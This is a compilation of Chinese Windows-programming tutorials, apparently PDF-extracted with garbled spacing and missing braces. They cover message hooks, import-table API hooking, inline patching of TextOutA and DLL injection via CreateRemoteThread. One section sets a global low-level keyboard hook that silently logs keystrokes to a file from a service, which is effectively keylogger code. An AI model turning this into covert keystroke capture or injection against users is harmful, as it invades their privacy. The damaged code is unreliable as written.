  nCode   指定是否需要处理该消息    
  wParam   和   lParam   包含该消息的附加消息    
  HookProc   可以看作是一个函数名的占位符。只要函数的原型一致,您可以给
该函数取任何名字。至于以上的几个参数及返回值的具体含义各种类型的钩子
都不相同。譬如:    
  WH_CALLWNDPROC    
  nCode   只能是 HC_ACTION,它代表有一个消息发送给了一个窗口    
  wParam   如果非 0,代表正被发送的消息    
  lParam   指向 CWPSTRUCT 型结构体变量的指针    
  return   value:   未使用,返回 0    
  WH_MOUSE    
  nCode   为 HC_ACTION   或   HC_NOREMOVE    
  wParam   包含鼠标的事件消息    
  lParam   指向 MOUSEHOOKSTRUCT 型结构体变量的指针    
  return   value:   如果不处理返回 0,否则返回非 0 值    
  所以您必须查询您的 WIN32   API   指南来得到不同类型的钩子的参数的详细
定义以及它们返回值的意义。这里还有一个问题需要注意:所有的钩子都串在
一个链表上,最近加入的钩子放在链表的头部。当一个事件发生时,WINDOWS
将按照从链表头到链表尾调用的顺序。所以您的钩子函数有责任把消息传到下
一个链中的钩子函数。当然您可以不这样做,但是您最好明白这时这么做的原
因。在大多数的情况下,最好把消息事件传递下去以便其它的钩子都有机会获
得处理这一消息的机会。调用下一个钩子函数可以调用函数 CallNextHookEx。该
函数的原型如下:    
  CallNextHookEx   proto   hHook:DWORD,   nCode:DWORD,   wParam:DWORD,   l
Param:DWORD    
  hHook   时是您自己的钩子函数的句柄。利用该句柄可以遍历钩子链。    
  nCode,   wParam   and   lParam   您只要把传入的参数简单传给 CallNextHookEx
即可。 




请注意:对于远程钩子,钩子函数必须放到 DLL 中,它们将从 DLL 中映射到其
它的进程空间中去。当 WINDOWS 映射 DLL 到其它的进程空间中去时,不会把数
据段也进行映射。简言之,所有的进程仅共享 DLL 的代码,至于数据段,每一
个进程都将有其单独的拷贝。这是一个很容易被忽视的问题。您可能想当然的






 
以为,在 DLL 中保存的值可以在所有映射该 DLL 的进程之间共享。在通常情况
下,由于每一个映射该 DLL 的进程都有自己的数据段,所以在大多数的情况下
您的程序运行得都不错。但是钩子函数却不是如此。对于钩子函数来说,要求
DLL 的数据段对所有的进程也必须相同。这样您就必须把数据段设成共享的,这
可以通过在链接开关中指定段的属性来实现。 
 
API Hook 基本原理和实现[图文] 
关键字:API Hook,消息,拦截 API,钩子,wskjuf 
作者:wskjuf    更新:2007-12-23 8:18:25    浏览:26374 
注:本 文 主 要 为 解 决 论 坛 上 ht t p: / / www. ccrun. com/ forum/ forum_post s. asp?TID=7281 的提问而
写 的 。我 搜 索 了 一 下 互 联 网 ,将 网 络 上 几 篇 有 代 表 性 的 api  hook 文 章 的 精 华 进 行 了 浓 缩 和 适
当 简 化 ,写 成 这 篇 介 绍 性 文 章 。另 外 也 希 望 初 学 者 能 够 认 真 思 考 本 文 采 用 的 循 序 渐 进 的 分 析
思 路 , 如 何 解 决 了 一 个 未 知 的 问 题 。 文 中 借 鉴 的 文 献 资 料 列 于 文 末 附 录 一 节 。  


hook 是什么? 
    wi ndows 系 统 下 的 编 程 , 消 息 message 的 传 递 是 贯 穿 其 始 终 的 。 这 个 消 息 我 们 可 以 简 单
理 解 为 一 个 有 特 定 意 义 的 整 数 ,正 如 我 们 看 过 的 老 故 事 片 中 的 “ 长 江 长 江 ,我 是 黄 河 ” 一 个 含
义。wi ndows 中 定 义 的 消 息 给 初 学 者 的 印 象 似 乎 是 “ 不 计 其 数 ” 的 , 常 见 的 一 部 分 消 息 在
wi nuser. h 头 文 件 中 定 义 。 hook 与 消 息 有 着 非 常 密 切 的 联 系 , 它 的 中 文 含 义 是 “ 钩子” , 这 样
理 解 起 来 我 们 不 难 得 出 “ hook 是 消 息 处 理 中 的 一 个 环 节 ,用 于 监 控 消 息 在 系 统 中 的 传 递 ,并
在 这 些 消 息 到 达 最 终 的 消 息 处 理 过 程 前 , 处  理 某 些 特 定 的 消息” 。 这 也 是 hook 分 为 不 同 种
类 的 原 因 。  
    hook 的 这 个 本 领 , 使 它 能 够 将 自 身 的 代 码 “ 融入” 被 hook 住 的 程 序 的 进 程 中 , 成 为 目 标
进 程 的 一 个 部 分 。 我 们 也 知 道 , 在 wi ndows2000 以 后 的 系 统 中 , 普 通 用 户 程 序 的 进 程 空 间
都 是 独 立 的 ,程 序 的 运 行 彼 此 间 都 不 受 干 扰 。这 就 使 我 们 希 望 通 过 一 个 程 序 改 变 其 他 程 序 的
某 些 行 为 的 想 法 不 能 直 接 实 现 , 但 是 hook 的 出 现 给 我 们 开 拓 了 解 决 此 类 问 题 的 道 路 。  


api  hook 是什么? 
    在 wi ndows 系 统 下 编 程 ,应 该 会 接 触 到 api 函 数 的 使 用 ,常 用 的 api 函 数 大 概 有 2000 个
左 右 。今 天 随 着 控 件 ,st l 等 高 效 编 程 技 术 的 出 现 ,api 的 使 用 概 率 在 普 通 的 用 户 程 序 上 就 变
得 越 来 越 小 了 。 当 诸 如 控 件 这 些 现 成 的 手 段 不 能 实 现 的 功 能 时 , 我 们 还 需 要 借 助 api 。 最 初
有 些 人 对 某 些 api 函 数 的 功 能 不 太 满 意 , 就 产 生 了 如 何 修 改 这 些 api , 使 之 更 好 的 服 务 于 程
序 的 想 法 , 这 样 api  hook 就 自 然 而 然 的 出 现 了 。 我 们 可 以 通 过 api  hook, 改 变 一 个 系 统 api
的 原 有 功 能 。基 本 的 方 法 就 是 通 过 h o o k “ 接触” 到 需 要 修 改 的 api 函 数 入 口 点 ,改 变 它 的 地 址
指 向 新 的 自 定 义 的 函 数 。 api  hook 并不属于 msdn 上 介 绍 的 13 类 hook 中 的 任 何 一 种 。 所以
说,api  hook 并 不 是 什 么 特 别 不 同 的 hook, 它 也 需 要 通 过 基 本 的 hook 提 高 自 己 的 权 限 , 跨
越 不 同 进 程 间 访 问 的 限 制 ,达 到 修 改 api 函 数 地 址 的 目 的 。对 于 自 身 进 程 空 间 下 使 用 到 的 api
函 数 地 址 的 修 改 , 是 不 需 要 用 到 api  hook 技 术 就 可 以 实 现 的 。  


api  hook 和 pe 格式的关系 
api  hook 技 术 的 难 点 , 并 不 在 于 hook 技 术 , 初 学 者 借 助 于 资 料 “ 照 葫 芦 画 瓢 ” 能 够 很 容 易 就
掌握 hook 的 基 本 使 用 技 术 。但 是 如 何 修 改 api 函 数 的 入 口 地 址 ? 这 就 需 要 学 习 pe 可 执 行 文
件( . exe,. dl l 等)如 何 被 系 统 映 射 到 进 程 空 间 中 ,这 就 需 要 学 习 pe 格 式 的 基 本 知 识 。wi ndows
已 经 提 供 了 很 多 数 据 结 构 st ruct 帮 助 我 们 访 问 pe 格 式 , 借 助 它 们 , 我 们 就 不 要 自 己 计 算 格
式 的 具 体 字 节 位 置 这 些 繁 琐 的 细 节 。 但 是 从 api  hook 的 实 现 来 看 , pe 格 式 的 访 问 部 分 仍 然
是 整 个 编 程 实 现 中 最 复 杂 的 一 部 分 , 对 于 经 常 cr ack 的 朋 友 不 在 此 列 。  
假 设 我 们 已 经 了 解 了 pe 格 式 , 那 么 我 们 在 哪 里 修 改 api 的 函 数 入 口 点 比 较 合 适 呢 ? 这 个 就
是 输 入 符 号 表 i mport ed symbol s t abl e( 间 接 ) 指 向 的 输 入 符 号 地 址 。  
   下 面 对 于 pe 格 式 的 介 绍 这 一 部 分 ,对 于 没 有 接 触 过 pe 格 式 学 习 的 朋 友 应 该 是 看 不 太 明 白
的 , 但 我 已 经 把 精 华 部 分 提 取 出 来 了 , 学 习 了 pe 格 式 后 再 看 这 些 就 很 容 易 了 。  


pe 格 式 的 基 本 组 成  
+---- ---- ---- ----- -- + 
    |  DOS- st ub          |     --DOS- 头  
    +---- ---- ---- ----- -- + 
    |  fi l e-header        |     --文 件 头  
    +---- ---- ---- ----- -- + 
    |  opt i onal  header    |     --可 选 头  
    | - - - - - - - - - - |  
    |                    |  
    |  dat a di r ect or i es |     --( 可 选 头 尾 的 ) 数 据 目 录  
    |                    |  
    +---- ---- ---- ----- -- + 
    |                    |  
    |  sect i on headers   |      --节头 
    |                    |  
    +---- ---- ---- ----- -- + 
    |                    |  
    |  sect i on 1        |      --节 1 
    |                    |  
    +---- ---- ---- ----- -- + 
    |                    |  
    |  sect i on 2        |      --节 2 
    |                    |  
    +---- ---- ---- ----- -- + 
    |                    |  
    |  . . .                |  
    |                    |  
    +---- ---- ---- ----- -- + 
    |                    |  
    |  sect i on n        |      --节 n 
    |                    |  
    +---- ---- ---- ----- -- + 
    在 上 图 中 , 我 们 需 要 从 “ 可 选 头 ” 尾的“ 数据目录” 数组中 的 第 二 个 元 素 ——输 入 符 号 表 的
位 置 ,它 是 一 个 IMAGE_DATA_DIRECTORY 结 构 ,从 它 中 的 Vi rt ual Address 地 址 ,“ 顺 藤 摸
瓜 ” 找到 api 函 数 的 入 口 地 点 。  
    下 图 的 简 单 说 明 如 下 :  
Ori gi nal Fi r st Thunk 指向 I MAGE_THUNK_DATA 结构数组, 为 方 便 只 画 了 数 组 的 一 个 元 素 ,
Addr essOfDat a 指向 IMAGE_IMPORT_BY_NAME 结 构 。   
IMAGE_IMPORT_DESCRI PTOR 数 组 : 每 个 引 入 的 dl l 文 件 都 对 应 数 组 中 的 一 个 元 素 , 以 全
0 的 元 素 ( 20 个 byt es 的 0) 表 示 数 组 的 结 束  
IMAGE_THUNK_DATA32 数 组 :同 一 组 的 以 全 0 的 元 素( 4 个 byt es 的 0)表 示 数 组 的 结 束 ,
每 个 元 素 对 应 一 个 IMAGE_IMPORT_BY_NAME 结构 
IMAGE_IMPORT_BY_NAME:如. . @Const s@i ni t i al i zat i on$qqrv.  表示 
Unmangl ed Bor l and C++ Funct i on:  qual i fi ed funct i on __fast cal l  Const s: : i ni t i al i zat i on()   
 
    为 了 减 少 这 个 图 的 大 小 , 不 得 已 将 汇 编 和 c++的 结 构 都 用 上 了 。 这 个 图 是 输 入 符 号 表 初
始 化 的 情 形 , 此 时 两 个 IMAGE_THUNK_DATA 结 构 数 组 的 对 应 元 素 都 指 向 同 一 个
IMAGE_IMPORT_BY_NAME 结构。 
    程 序 加 载 到 进 程 空 间 后 , 两 个 IMAGE_THUNK_DATA 结 构 数 组 指 向 有 所 不 同 了 。 看 下
图: 
 
 
// 本 文 转 自  C++Bui l der 研究 - ht t p: / / www. ccrun. com/ ar t i cl e. asp?i =1036&d=cf6de2 
始 化 的 ,“ 两 个 结 构 都 指 向 同 一 个 I MAGE _ I MP ORT_ B Y_ NAME ” ,此 时 还 没 有 api 函 数 地 址  
 
 
当 PE 文 件 准 备 执 行 时 ,前 图 已 转 换 成 上 图 。一 个 结 构 指 向 不 变 ,另 一 个 出 现 api 函 数 地 址   


    如果 PE 文件从 kernel 32. dl l 中引入 10 个 函 数 ,那 么 IMAGE_IMPORT_DESCRIPTOR 结
构的 Name1 域 包 含 指 向 字 符 串 "kernel 32. dl l "的 RVA, 同 时 每 个 IMAGE_THUNK_DATA 数
组有 10 个 元 素 。(RVA 是 指 相 对 地 址 ,每 一 个 可 执 行 文 件 在 加 载 到 内 存 空 间 前 ,都 以 一 个 基
址 作 为 起 点 ,其 他 地 址 以 基 址 为 准 ,均 以 相 对 地 址 表 示 。这 样 系 统 加 载 程 序 到 不 同 的 内 存 空
间 时 , 都 可 以 方 便 的 算 出 地 址 ) 
    上 述 这 些 结 构 可 以 在 wi nnt . h 头 文 件 里 查 到 。  


具体编程实现 
    我将手上的 vc 示 例 代 码 进 行 了 适 当 修 正 , 修 改 了 一 些 资 源 泄 漏 的 小 问 题 , 移 植 到
c++bui l der6 & updat e4 上 ,经 过 测 试 已 经 可 以 完 成 基 本 的 api  hook 功 能 。有 几 个 知 识 点 说 明
一 下 :  
1、     dl l 中 共 享 内 存 变 量 的 实 现  
正 常 编 译 下 的 dl l , 它 的 变 量 使 用 到 的 内 存 是 独 立 的 。 比 如 你 同 时 运 行 两 个 调 用 了 某 个 dl l
的 用 户 程 序 , 试 图 对 某 一 个 在 dl l 中 定 义 的 全 局 变 量 修 改 赋 值 的 时 候 , 两 个 程 序 里 的 变 量 值
仍 然 是 不 同 的 。  
共 享 的 方 法 为 : 在 . cpp 文件(.h 文 件 里 如 此 设 置 会 提 示 编 译 错 误 ) 的 头 部 写 上 如 上 两 行 :  
#pragma opt i on -zRSHSEG           // 改 变 缺 省 数 据 段 名  
#pragma opt i on -zTSHCLASS        // 改 变 缺 省 数 据 类 名  


HINSTANCE hdl l  = NULL;                   // 用 来 保 存 该 动 态 连 接 库 的 句 柄  
HHOOK hApi Hook = NULL;                   // 钩 子 句 柄  
HHOOK hWndProc = NULL;                   // 窗 口 过 程 钩 子 用 来 拦 截 SendMessage 
i nt  t hreadId = 0;  


    另 外 建 立 一 个 与 dl l 同 名 , 不 同 后 缀 的 def 文 件 , 如 HookDl l . def 文 件 , 写 上 :  
LI BRARY HookDl l . dl l  
EXPORTS 
; . . .  
SEGMENTS 
    SHSEG CLASS ' SHCLASS'  SHARED 
; end  


    这 样 设 置 后 在 . cpp 文 件 中 定 义 的 变 量 ,如 果 进 行 了 初 始 化 ,将 进 入 “ S HC L AS S ” 共 享 内 存
段 ( 如 果 不 初 始 化 , 将 不 改 变 其 默 认 段 属 性 )。   
 
    上 述 的 共 享 对 于 本 示 例 代 码 并 不 是 必 须 的 , 只 是 稍 微 演 示 了 一 下 。  


2、     api  hook 修改 api 函 数 入 口 点 地 址 的 时 机  
    很 显 然 ,我 们 必 须 通 过 hook 进 入 目 标 进 程 的 地 址 空 间 后 ,再 在 位 于 该 地 址 空 间 里 的 hook
消 息 处 理 过 程 里 修 改 输 入 符 号 表 “ 指向” 的 api 函 数 入 口 点 地 址 , 退 出 hook 前 也 必 须 在 这 个
消 息 处 理 过 程 里 恢 复 原 来 的 地 址 。 只 要 我 们 牢 记 修 改 的 过 程 发 生 在 目 标 进 程 的 地 址 空 间 中 ,
就 不 会 发 生 访 问 违 例 的 错 误 了 。  
    示 例 代 码 使 用 了 WH_GETMESSAGE、WH_CALLWNDPROC 两中 hook 来 演 示 如 何 hook
api ,但 WH_GETMESSAGE 实 际 上 并 没 有 完 成 具 体 的 功 能 。  
    为 了 让 初 学 者 尽 快 的 掌 握 重 点 ,我 将 代 码 进 行 了 简 化 ,是 一 个 不 健 壮 、不 灵 活 的 演 示 示
例。 


3、     函 数 的 内 外 部 表 现 形 式  
    例如 api 函数 MessageBox, 这 个 形 式 是 我 们 通 常 用 到 的 , 但 到 了 dl l 里 , 它 的 名 字 很 可
能 出 现 了 两 个 形 式 , 一 个 是 MessageBoxA, 另 一 个 是 MessageBoxW, 这 是 因 为 系 统 需 要 适
应 Ansi 和 Uni code 编 码 的 两 种 形 式 , 我 们 不 在 函 数 尾 端 添 加 “ A” 或 “ W” , 是 不 能 hook 到需
要 的 函 数 的 。  


4、     辅助 pe 格 式 查 看 工 具  
    PE Expl orer 是 一 个 非 常 好 的 查 看 pe 资 源 的 工 具 ,通 过 它 可 以 验 证 自 己 手 工 计 算 的 pe 地
址 , 可 以 更 快 的 掌 握 pe 格 式 。  
    调试器 ol l ydbg 也 是 非 常 好 的 辅 助 工 具 , 例 如 查 看 输 入 符 号 表 中 的 api 函 数 。  


5、     程 序 文 件 列 表  
dl l 基 本 文 件 : Hook. h, Hook. cpp, HookDl l . def 
cl i ent 验 证 方 基 本 文 件 : HookTest . h, HookTest . cpp, Api HookTest . cpp  
 
 
     
6、     实 现 的 功 能  
    对 记 事 本 的 MessageBoxW 函 数 进 行 了 hook, 先 执 行 自 定 义 的  
i nt  WINAPI MyMessageBoxW( HWND hWnd,  LPCWSTR M1,  LPCWSTR M2 ,  UINT M3)  

    ret urn ol dMessageBoxW(hWnd,  M1,  L"my api  hook",  M3);  

    从 这 里 可 以 看 到 , 由 于 目 标 进 程 空 间 中 的 执 行 线 程 并 不 知 道 你 已 经 改 变 了 api 函 数 的 实
际 入 口 地 址 ,它 在 调 用 时 仍 旧 将 参 数 一 成 不 变 的 压 入 堆 栈( 这 个 说 法 是 汇 编 代 码 时 看 到 的 等
价 情 形 ),事 实 上 你 已 经 提 前 接 收 到 了 函 数 调 用 的 所 有 参 数 。这 里 就 是 篇 首 帖 子 的 回 复 了 。 
 
    
hook 之前  
 
    
hook 以后  


示例代码 
1、 cl i ent 验 证 方 的 代 码 非 常 简 单 。 建 立 一 个 Appl i cat i on 工 程 , 在 窗 体 上 放 一 个 memo(提
示 信 息 ), 两 个 but t on( 一 个 Set Hook, 另 一 个 RemoveHook)。  
voi d __fast cal l  TFor m1: : But t on1Cl i ck( TObj ect  *Sender )  

    DWORD dwProcessId,  dwThr eadI D;  


    HWND hWnd = Fi ndWi ndow( "Not epad",  NULL);  
    i f ( !hWnd)  
    { 
        Memo1->Li nes- >Add("Nodepad i s not  found") ;  
    } 
    el se 
    { 
        dwThr eadI D = Get Wi ndowThreadProcessId(hWnd,  &dwProcessId) ;  
        Memo1->Li nes- >Add(dwThreadID);  
        Set Hook(dwThreadI D);  
    } 

//----- ----- ---- ---- ----- ---- ---- ------ ---- ----- ---- ----- ---- ---- ------ ---- --  
voi d __fast cal l  TFor m1: : But t on2Cl i ck( TObj ect  *Sender )  

    RemoveHook( );  

//----- ----- ---- ---- ----- ---- ---- ------ ---- ----- ---- ----- --- - ---- ------ ---- --  


2、api  hook dl l 稍 微 复 杂 些 ,建 立 一 个 dl l 工 程 之 后 ,修 改 之 。代 码 中 有 一 些 函 数 并 未 用 上 ,
Repl aceApi Address 是 核 心 函 数 , 完 整 代 码 提 供 下 载 :  
Api Hook. r ar   






 
Windows 中的消息截获 - HOOK 钩子  
    由于本人能力有限,所以实现钩子的方法一定不是是最好的,但简单。 
    本来一直打算做个 APM 计数器的,所谓 APM 计数器,就是一个全局的计算键盘鼠标平均时间下的操
作量啦。如果玩过星际争霸或者魔兽争霸的一定知道 APM 的意义。 
    为了实现全局的统计键盘和鼠标操作,我采用了 HOOK 的方法进行了实现,具体如下。 
    首先建立一个 DLL 得工程,这个工程的主要目的就是进行钩子并且通过函数指针对主程序进行通知。 
    其头文件如下: 
    #ifdef _COMPILING_44E531B1_14D3_11d5_A025_006067718D04 
    #define LIBSPEC __declspec(dllexport) 
    #else 
    #define LIBSPEC __declspec(dllimport) 
    #endif 
    LIBSPEC BOOL setMouseHook(); 
    LIBSPEC BOOL setKeyBoardHook(); 
    LIBSPEC BOOL setMsgHook(); 
    LIBSPEC BOOL clearAllHook(); 
    typedef int (*FucOnMouse)(int mousex,int mousey) ; 
    LIBSPEC void setHookFuncMouse(FucOnMouse ptFuc); 
    typedef int (*FucOnKeyBoard)(long code, long scancode,long flags); 
    LIBSPEC void setHookFuncKeyBoard(FucOnKeyBoard ptFuc); 
    typedef int (*FucOnMsg)(WPARAM wParam, LPARAM lParam); 
    LIBSPEC void setHookFuncMsg(FucOnMsg ptFuc); 
    #undef LIBSPEC 
    而后是源文件: 
    HINSTANCE hInst; 
    HHOOK hookkeyboard = NULL; 
    static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam) ; 
    BOOL APIENTRY DllMain( HINSTANCE hInstance, 
    DWORD  Reason, 
    LPVOID Reserved 
    ) 
    { 
    switch(Reason) 
    { /* reason */ 
    case DLL_PROCESS_ATTACH: 
    hInst = hInstance; 
    return TRUE; 
    case DLL_PROCESS_DETACH: 
    return clearAllHook(); 
    } /* reason */ 
    return TRUE; 
    } 
    //主程序如果要对键盘消息进行截获就调用这个函数 
    __declspec(dllexport) BOOL setKeyBoardHook() 
    { 
    if (hookkeyboard!=NULL) 
    { 
    return TRUE; 
    } 
    hookkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,hInst,0); 
    if(hookkeyboard!=NULL) 
    { /* success */ 
    return TRUE; 
    } 
    return FALSE; // failed to set hook 
    } 
    //然后在主程序中设置一个函数指针来处理键盘消息。 
    static FucOnMouse g_ptfucmouse = NULL; 
    __declspec(dllexport) void setHookFuncMouse(FucOnMouse ptFuc) 
    { 
    g_ptfucmouse = ptFuc; 
    } 
    //这部分就是 HOOK 的时候传入的处理函数啦 
    static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam) 
    { 
    if(nCode>=0) 
    { 
    LPKBDLLHOOKSTRUCT pKeyBoardHook =(LPKBDLLHOOKSTRUCT)lparam; 
    //如果截获到键盘消息就利用函数指针传递 
    if(g_ptfuckeyboard) 
    { 
    g_ptfuckeyboard(pKeyBoardHook->vkCode,pKeyBoardHook->scanCode,pKeyBoardHook->flags); 
    } 
    } 
    return CallNextHookEx(hookkeyboard,nCode,wparam,lparam); 
    } 
    到这里就完成了 HOOK. 
主程序部分: 
    //首先记得加上 HOOK 工程的头文件,并且连接下库文件 
    #include "MsgTracker.h" 
    #pragma comment(lib, "MsgTracker.lib") 
    //声明一个用于处理键盘信息的函数指针 
    int KeyboardRecord(long code,long scancode,long flags); 
    //处理键盘消息的函数主体  ---  把截获的消息存放到 文本文件 
    int KeyboardRecord(long code,long scancode,long flags) 
    { 
    notifyOtherProc(); 
    std::ofstream outfile("C:\\KEYBOARDinfo.txt",ofstream::out|ofstream::app); 
    SYSTEMTIME sys; 
    GetLocalTime( &sys ); 
    outfile<<"Time:"<<sys.wHour<<":"<<sys.wMinute<<":"<<sys.wSecond; 
    outfile<<" Key Code="<<code; 
    outfile<<"\r\n"; 
    return 0; 
    } 
    //程序的主函数 
    void WINAPI ServiceMain() 
    { 
    //就这点代码 就可以进行消息截获啦 
    BOOL bKeyboard; 
    if((bKeyboard=setKeyBoardHook())==TRUE) 
    setHookFuncKeyBoard(KeyboardRecord); 
    //让他自己循环去吧 
    MSG msg; 
    while (GetMessage(&msg,NULL,0,0)) 
    { 
    if(msg.message == WM_CLOSE) 
    { 
    break; 
    } 
    TranslateMessage(&msg); 
    DispatchMessage(&msg); 
    } 
    //最后一定要记得清除钩子 
    clearAllHook(); 
    } 
    最后放上代码: 
     截获消息 MsgTracker.rar 




 
 
Windows 下的函数 hook 技术 


 


作者:佚名  来源:不详  点击:131  更新:2006-12-19 7:01:28  编辑: 画王 w  字体:小 大 
    都是很成熟的东西了,这几天看了看,总结一下而已。 
    讨论了 Windows 下 hook 函数的几种方法。提供了一个 hook TextOutA 的完整例子。通过 CreateRemoteThread 的方法把 hook dll 注入到一个普
通的应用程序中。Hooking Imported Functions by name 调用 imported functions'时的步骤/实现在程序中调用从其它模块引入的函数的方法和普
通的函数调用有所不同。对于普通的函数调用,直接使用 call address 来调用即可,但是对于 imported functions ,在编译的时候 compiler/link
并不知道实际的函数实现会被加载到那个地址,函数实现在那个地址在运行的时候才会确定。对于 imported functions ,首先是 call 引入表中的
一个函数,在运行时再初始化引入表,使用 jmp 跳转到真实的函数实现。 
引入表: 
    The PE file IMAGE_IMPORT_DESCRIPTOR structure, which holds all the information about functions imported from a specifi
c DLL, has pointers to two arrays in the executable. These arrays are called import address tables (IATs), or sometimes thunk
 data arrays. The first pointer references the real IAT, which the program loader fixes up when the executable is loaded. The
 second pointer references the original IAT, which is untouched by the loader and lists the imported functions. 
实现原理 
 找到 PE 文件的 Image_Import_Descriptor 结构 
 找到 Original LAT 和 Real LAT. 
 通过要 hook 的函数的名字在 Original LAT 找到要 hook 的 imported function 在数组中的 index. 
 保存并修改 Real LAT 在相应 index 的 function address 
(refer to John Robbins, BugsLayerUtil.dll) 
Hooking Imported Functions by ordinal 
原理和 Hook Imported functions by name 一样,只是是通过要 hook 的函数的 ordinal 在 original LAT 中找到 index. 
Hooking a function in this dll 
    当一个 DLL 是通过 LoadLibrary 载入的时候,我们无法通过 hook imported function 的方法的 hook 它中的 function 
    。有两种可能的办法处理这种情况:
    第一种方法,遍历进程空间,发现 call 指定函数的地方替换为 call hookFunction. 太麻烦,而且不安全。 
    第二种方法,改写要 hook 的函数 FuncA 
    。比较好的方法 
1. 实现 HookFuncA ,最后的实现垫入 n 个 nop.
2. 找到要 hook 的函数 FuncA 的绝对地址,改写前 5 个字节为 jmp hookFuncA( 假定前 5 个字节为 n 个完整的指令)
3. 把 FuncA 的前 5 个字节拷贝到 hookFuncA 的后面,在加上一条指令 jmp funcA+5.  
----Code of HookDLL.dll, 可以通过 CreateRemoteThread 的方法把 hook dll 注入到一个普通的应用程序中。 
// HookDLL.cpp : Defines the entry point for the DLL application. 
// 
#include "stdafx.h" 
#include "HookDLL.h" 
#include "Log.h" 
//forward declare. 
LRESULT WINAPI InstallTextoutHook(); 
LRESULT WINAPI UninstallTextoutHook(); 
BOOL APIENTRY DllMain( HANDLE hModule, 
DWORD ul_reason_for_call, 
LPVOID lpReserved 


switch (ul_reason_for_call) 

case DLL_PROCESS_ATTACH: 
if (InstallTextoutHook()) 

WriteLog("Install hook success.\n"); 
}else 

WriteLog("Intall hook failed.\n"); 

break; 
case DLL_THREAD_ATTACH: 
break; 
case DLL_THREAD_DETACH: 
break; 
case DLL_PROCESS_DETACH: 
if (UninstallTextoutHook()) 

WriteLog("Uninstall hook success.\n"); 
}else 

WriteLog("Unintall hook failed.\n"); 

break; 

return TRUE;  

#define DWORD_PTR DWORD* 
#define __LOCAL_SIZE 40h 
#define NAKED_PROLOG() \ 
DWORD_PTR dwRet ; \ 
DWORD_PTR dwESI ; \ 
{ \ 
__asm PUSH EBP /* Set up the standard frame.*/\ 
__asm MOV EBP , ESP \ 
__asm SUB ESP , __LOCAL_SIZE /* Save room for the local */\ 
/* variables. */\ 
__asm MOV EAX , EBP /* EBP has the stack coming */\ 
/* into the fn. in it. */\ 
__asm ADD EAX , 4 /* Account for PUSH EBP */\ 
__asm MOV EAX , [EAX] /* Get return address. */\ 
__asm MOV [dwRet] , EAX /* Save return address. */\ 
__asm MOV [dwESI] , ESI /* Save ESI so chkesp in dbg */\ 
/* builds works. */\ 
}// The common epilog part that can be shared between the stdcall and 
// cdecl hook functions. 
#define EPILOG_COMMON() \ 
{ \ 
__asm MOV ESI , [dwESI] /* Restore ESI. */\ 
__asm ADD ESP , __LOCAL_SIZE /* Take away local var space */\ 
__asm MOV ESP, EBP /* Restore standard frame. */\ 
__asm POP EBP \ 

#define COPY_CODE_LENGTH 5 
BYTE g_abOriCode[COPY_CODE_LENGTH]; 
BYTE g_abJmpCode[COPY_CODE_LENGTH]; 
PROC g_oriTextout; 
BOOL g_blHooked = FALSE; 
LRESULT WINAPI InstallTextoutHook() 

if (g_blHooked) 
return TRUE; 
//Get TextOutA's address. 
HMODULE hGdi32 = ::LoadLibrary(_T("Gdi32.dll")); 
g_oriTextout = GetProcAddress(hGdi32, _T("TextOutA")); 
if (NULL == g_oriTextout) 
return FALSE; 
//Get the hook'a address. 
HMODULE hModule = GetModuleHandle(_T("HookDLL.dll")); 
if (NULL == hModule)  
return FALSE; 
DWORD dwHookAddr = NULL; 
__asm 

mov esi, offset HookLabel; 
mov edi, 0x10000000;//0x10000000 is the dll's base address. 
sub esi, edi; 
add esi, hModule; 
mov [dwHookAddr], esi; 

//Get the NOP's address. 
DWORD dwNOPAddr = NULL; 
__asm 

mov esi, offset NOPLabel; 
mov edi, 0x10000000;//0x10000000 is the dll's base address. 
sub esi, edi; 
add esi, hModule; 
mov [dwNOPAddr], esi; 

//Save the first 5 byte of TextOutA to g_abOriCode 
__asm 

mov esi, g_oriTextout; 
lea edi, g_abOriCode; 
cld; 
movsd; 
movsb; 

//Generate the jmp Hook function. 
g_abJmpCode[0] = 0xe9; 
__asm 

mov eax, dwHookAddr; 
mov ebx, g_oriTextout; 
add ebx, 5; 
sub eax, ebx; 
mov dword ptr[g_abJmpCode+1], eax; 

//Write the jump instruction to the textoutA. 
DWORD dwProcessId = GetCurrentProcessId(); 
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, 
FALSE, dwProcessId); 
if (NULL == hProcess)  
return FALSE; 
DWORD dwOldFlag; 
VirtualProtectEx(hProcess, g_oriTextout, 5, PAGE_READWRITE, &dwOldFlag); 
WriteProcessMemory(hProcess, g_oriTextout, g_abJmpCode, sizeof(g_abJmpCode), NULL); 
VirtualProtectEx(hProcess, g_oriTextout, 5, dwOldFlag, NULL); 
//Write g_abOriTextout to the end of Hook function(NOP addr), then write the jmp instruction. 
VirtualProtectEx(hProcess, (LPVOID)dwNOPAddr, 10, PAGE_READWRITE, &dwOldFlag); 
WriteProcessMemory(hProcess, (LPVOID)dwNOPAddr, g_abOriCode, sizeof(g_abOriCode), NULL); 
//Generate the jmp TextoutA + 5 
__asm 

mov eax, g_oriTextout; 
mov ebx, dwNOPAddr; 
add ebx, 5; 
sub eax, ebx; 
mov dword ptr[g_abJmpCode+1], eax; 

WriteProcessMemory(hProcess, (LPVOID)(dwNOPAddr+5), g_abJmpCode, sizeof(g_abJmpCode), NULL); 
VirtualProtectEx(hProcess, (LPVOID)dwNOPAddr, 10, dwOldFlag, NULL); 
g_blHooked = TRUE; 
if(TRUE) 
return TRUE; 
HookLabel: 
NAKED_PROLOG ( ) ; 
int nx, ny; 
LPCSTR lp; 
lp = NULL; 
_asm 

mov esi, ebp; 
add esi, 0Ch; 
lea edi, nx; 
movsd; 
lea edi, ny; 
movsd; 


lea edi, lp; 
movsd; 

WriteLog_F("Try to ouput \"%s\" at (%d,%d)\n", lp, nx, ny); 
// Do the common epilog. 
EPILOG_COMMON ( ) ; 
NOPLabel: 
_asm NOP  
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 
_asm NOP 

LRESULT WINAPI UninstallTextoutHook() 

if (!g_blHooked) 
return FALSE; 
//Restore the first 5 bytes code of TextOutA 
DWORD dwProcessId = GetCurrentProcessId(); 
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, 
FALSE, dwProcessId); 
if (NULL == hProcess) 
return FALSE; 
DWORD dwOldFlag; 
